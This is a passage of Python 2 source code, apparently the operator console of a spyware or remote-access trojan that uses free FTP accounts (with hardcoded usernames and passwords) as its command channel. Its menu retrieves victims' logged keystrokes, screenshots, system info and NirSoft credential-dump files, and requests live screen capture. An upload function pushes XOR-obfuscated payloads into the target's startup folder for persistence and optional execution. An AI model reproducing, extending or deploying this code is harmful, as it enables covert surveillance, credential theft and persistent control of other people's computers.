cv2.WINDOW_NORMAL) 246 | cv2.imshow('window', frame) 247 | #cv2.resizeWindow('window', 200,200) 248 | if cv2.waitKey(0) & 0xFF == ord('q'): 249 | cv2.destroyAllWindows() 250 | break 251 | ''' 252 | 253 | def UploadFile(self): 254 | fileName = raw_input("The name of the file\n> ") 255 | dName = raw_input("Destination file name\n> ") 256 | fileInfo = "destinationFileName=" + dName + "\n" 257 | d = raw_input("Destination path (input startup for persistence)\n> C:Users/%username%/") 258 | fileInfo += "destinationPath=" + ("startup" if d.endswith("startup") else d) + "\n" 259 | fileInfo += "execute=" + ("True" if raw_input("Execute it after download? (y/n)\n> ") == "y" else "False") + "\n" 260 | isNir = raw_input("Is it nirsoft executable? (y/n)\n> ") 261 | if isNir == "y": 262 | fileInfo += "nirsoft=True\n" 263 | p = "params=/scomma "+ dName.split(".")[0] + ".mm" 264 | else: 265 | fileInfo += "nirsoft=False\n" 266 | p = "params=" + raw_input("Parameters to run (example: -F -w keys.py)\n> ") 267 | fileInfo += p if p else "none" 268 | fileInfo += "###########################_____________________###############################" 269 | 270 | with open(fileName, "rb") as f: 271 | fileData = f.read() 272 | 273 | if "f.mm" not in self.ftp.nlst("\\"+ self.directories[self.dirNum] +"\\f"): 274 | self.ftp.storbinary("STOR " + "\\"+ self.directories[self.dirNum] +"\\f\\f.mm", io.BytesIO(XorText(fileInfo + fileData, self.xorMap))) 275 | else: 276 | self.ftp.delete("\\"+ self.directories[self.dirNum] +"\\f\\f.mm") 277 | self.ftp.storbinary("STOR " + "\\"+ self.directories[self.dirNum] +"\\f\\f.mm", io.BytesIO(XorText(fileInfo + fileData, self.xorMap))) 278 | 279 | 280 | def enum(*sequential, **named): 281 | enums = dict(zip(sequential, range(len(sequential))), **named) 282 | return type('Enum', (), enums) 283 | 284 | workStages = enum("EXIT", "LOGIN", "DIRCHECK", "FILEMANIPULATION") 285 | 286 | if __name__ == "__main__": 287 | action = "" 288 | options = "\nOPTIONS\n\ 289 | -Press enter to download the files\n\ 290 | -Input p to print the full files content\n\ 291 | -Input im-imgNum to view the specific screenshot\n\ 292 | -Input ps-fileNum to view the specific systeminfo file\n\ 293 | -Input pk-fileNum to view the specific keystrokes file\n\ 294 | -Input ni-fileNum to view the specific nirsoft file\n\ 295 | -Input d to pick another directory\n\ 296 | -Input sf to see the filenames again\n\ 297 | -Input sfr to see the filenames again (recheck FTP server)\n\ 298 | -Input scsr to request screen capture stream\n\ 299 | -Input scsa to abandon screen capture stream\n\ 300 | -Input scs to view screen capture stream\n\ 301 | -Input u to upload file to the target startup\n\ 302 | -Input df to delete the server files\n\ 303 | -Input du to delete whole user directory from the server\n\ 304 | -Input a to check another ftp account\n\ 305 | -Input e to exit\n> " 306 | 307 | workStage = workStages.LOGIN 308 | ftpR = FTP_Retriever(debug = "true") 309 | while workStage: 310 | ftpR.PickFTPserverConfig([ 311 | ["ftp.drivehq.com","michal","qwerty"], 312 | ["ftp.drivehq.com","monday","password2"], 313 | ["ftp.drivehq.com","thirdAccountUsername","thirdAccountPssword"] 314 | ]) 315 | 316 | 317 | try: ftpR.Connect() 318 | except Exception as e: 319 | if "free service users can logon 100 times, plus 25 times/day" in str(e): 320 | print "\n100 overall or 25 logins per day reached..." 321 | continue 322 | else: 323 | print e 324 | raise SystemExit 325 | 326 | workStage = workStages.DIRCHECK 327 | while workStage == workStages.DIRCHECK: 328 | if ftpR.DirectoriesAvailable(): 329 | print "\n" + "\n".join(str(i)+". " + d for i,d in enumerate(ftpR.GetDirectories())) 330 | ftpR.PickDirectory(int(raw_input("\nSelect directory\n> "))) 331 | if not ftpR.FilesAvailable(): 332 | #print "No files found.\n" + "".join(str(i)+". " + d + "\n" for i,d in enumerate(ftpR.GetDirectories())) 333 | print "No files found." 334 | workStage = workStages.FILEMANIPULATION 335 | #ftpR.PickDirectory(int(raw_input("\nSelect directory\n> "))) 336 | print "\n" + "".join(ftpR.GetFileNames()) 337 | workStage = workStages.FILEMANIPULATION 338 | else: 339 | print "\nNo directories found..." 340 | workStage = workStages.LOGIN 341 | ftpR.Disconnect() 342 | 343 | while workStage == workStages.FILEMANIPULATION: 344 | action = raw_input(options) 345 | if action == "p": 346 | print ftpR.GetAllContent() 347 | elif action == "d": 348 | workStage = workStages.DIRCHECK 349 | elif action == "df": 350 | print ftpR.DeleteFTPfiles() 351 | workStage = workStages.DIRCHECK 352 | elif action == "du": 353 | ftpR.DeleteFTPdirectory() 354 | workStage = workStages.DIRCHECK 355 | elif action == "e": 356 | workStage = workStages.EXIT 357 | elif action == "a": 358 | workStage = workStages.LOGIN 359 | elif action.startswith("im-"): 360 | ftpR.ShowScreenShot(int(action.split("-")[1])) 361 | elif action.startswith("ps-"): 362 | print ftpR.GetSingleFileContent("Sysinfo", int(action.split("-")[1])) #GetSingleFileContent 363 | elif action.startswith("pk-"): 364 | print ftpR.GetSingleFileContent("Keystroke", int(action.split("-")[1])) 365 | elif action.startswith("ni-"): 366 | print ftpR.GetSingleFileContent("Nirsoft", int(action.split("-")[1])) 367 | elif action == "sf": 368 | print "\n" + "".join(ftpR.GetFileNames(recheck=False)) 369 | elif action == "sfr": 370 | print "\n" + "".join(ftpR.GetFileNames(recheck=True)) 371 | elif action == "scsr": 372 | ftpR.RequestScreenCaptureStream() 373 | elif action == "scsa": 374 | ftpR.AbandonScreenCaptureStream() 375 | elif action == "scs": 376 | ftpR.ViewScreenCaptureStream() 377 | elif action == "u": 378 | ftpR.UploadFile() 379 | elif not action: 380 | ftpR.DownloadAllFiles() 381 | workStage == workStages.FILEMANIPULATION --------------------------------------------------------------------------------